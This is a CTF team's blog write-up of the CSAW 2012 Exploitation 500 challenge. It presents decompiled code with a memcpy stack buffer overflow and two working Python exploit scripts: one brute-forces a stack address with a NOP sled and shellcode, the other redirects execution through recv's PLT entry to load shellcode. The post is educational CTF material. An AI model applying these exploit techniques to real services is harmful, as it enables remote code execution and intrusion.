team pong

Dutch CTF "team pong" write-ups and other stuff

CSAW 2012 – Exploitation 500

leave a comment »

md5sum challenge1
a117e440939f099e26b79f0379656367  challenge1
$ file challenge1
challenge1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc2a7a20947f2afeb24f04a53f3086e49bea61212, not stripped

The vulnerable function is labeled q_generate.

int __cdecl q_generate(int fd)
{
  char buf_124[124]; // [sp+14h] [bp-4B4h]@1
  char buf_1024[1024]; // [sp+90h] [bp-438h]@4
  char buf_40[40]; // [sp+490h] [bp-38h]@4
  int bytes_received; // [sp+4B8h] [bp-10h]@1
  int v6; // [sp+4BCh] [bp-Ch]@1

  v6 = 0;
  bytes_received = 0;
  send_question(fd, 1);
  bytes_received = recv(fd, buf_124, 124u, 0);
  null_terminate_string(buf_124, bytes_received);
  v6 = check_answer(buf_124);
  if ( v6 == 1 )
  {
    win(fd);
    close(fd);
    exit(0);
  }
  lose(fd);
  send_question(fd, 2);
  bytes_received = recv(fd, buf_1024, 1024u, 0);
  null_terminate_string(buf_1024, bytes_received);
  memcpy(buf_40, buf_1024, 4 * ((unsigned int)bytes_received >> 2));	//*** Bufferoverflow here
  v6 = check_answer(buf_40);
  if ( v6 == 1 )
  {
    win(fd);
    close(fd);
    exit(1);
  }
  return lose(fd);
}

Small buffer buf_40 can be overflowed with the contents of buf_1024. There are no limitations to our input. The game logic is as follows:

  • a question is asked
  • give a wrong answer
  • question is asked again
  • again, give a wrong answer, but include the exploit code
  • the answer is copied into the small buffer => overflow

Stack analysis of the function reveals that we have 60 bytes to send to overflow the EIP.

-000004B4 buf_124         db 124 dup(?)
-00000438 buf_1024        db 1024 dup(?)
-00000038 buf_40          db 40 dup(?)
-00000010 bytes_received  dd ?
-0000000C var_C           dd ?
-00000008 var_8           dd ?
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 fd              dd ?

To transfer control to our shellcode, we might do a jmp ESP. However, this ‘gagdet’ is not available in the binary.

I decided in the end to bruteforce the stack address, resulting in the following python code:

import socket, struct
import time,sys

def recv(socket, str):
	x = socket.recv(1024)
	while True:
		if x.find(str) != -1:
			break
		x += socket.recv(1024)
	return x

def tryit(address):	
	s = socket.create_connection((ip, service_port))
		
	# shellcode
	buf = open("shellcode", "rb").read()

	# get question
	q = recv(s, "Answer: ")

	# send wrong answer
	s.send('A')

	# get lose message and question
	q = recv(s, "Answer: ")

	# sent wrong answer
	eip = struct.pack("<I", address)

	nopsled = '\x90' * (1024 - 60 - len(buf) - 4 - 4)
	s.send('B' * 60 + eip + nopsled + buf + 'FFFF' * 1)

	# get key
	x = s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	
	if x != '':
		print "0x%X" % address, x
		sys.exit(0)

eip = 0xc0000000
while True:
	print "0x%X" % eip
	tryit(eip)
	eip -= 800

This gave the key in 6 tries!

After reading some other writeups, I wanted to make this exploit reliable. Instead of using a hardcoded stack address, I used the .plt entry of recv.

import socket, struct
import time,sys

service_port = 12345
#ip = "128.238.66.213"
ip = "192.168.1.3"

def recv(socket, str):
	x = socket.recv(1024)
	while True:
		if x.find(str) != -1:
			break
		x += socket.recv(1024)
	return x

def sploit():	
	s = socket.create_connection((ip, service_port))
		
	# shellcode
	sc = open("shellcode", "rb").read()

	# get question
	q = recv(s, "Answer: ")

	# send wrong answer
	s.send('A')

	# get 2nd change
	q = recv(s, "Answer: ")

	# sent wrong answer/sploit/payload
	eip = struct.pack("<I", 0x08048760) # recv
	cont_address = struct.pack("I", 0x0804B000)
	recv_args = struct.pack("<I", 4) + struct.pack("I", 0x0804B000) + struct.pack("<I", len(sc)) + struct.pack("<I", 0)
	
	payload = 'B' * 60 + eip + cont_address + recv_args

	s.send(payload + 'FFFF' * 1)
	time.sleep(1)
	s.send(sc)

	# get key
	x = s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	x+= s.recv(1024)
	
	if x != '':
		print x
		sys.exit(0)
	
sploit()

Written by teampong

October 24, 2012 at 5:34 am

Posted in Uncategorized

Leave a comment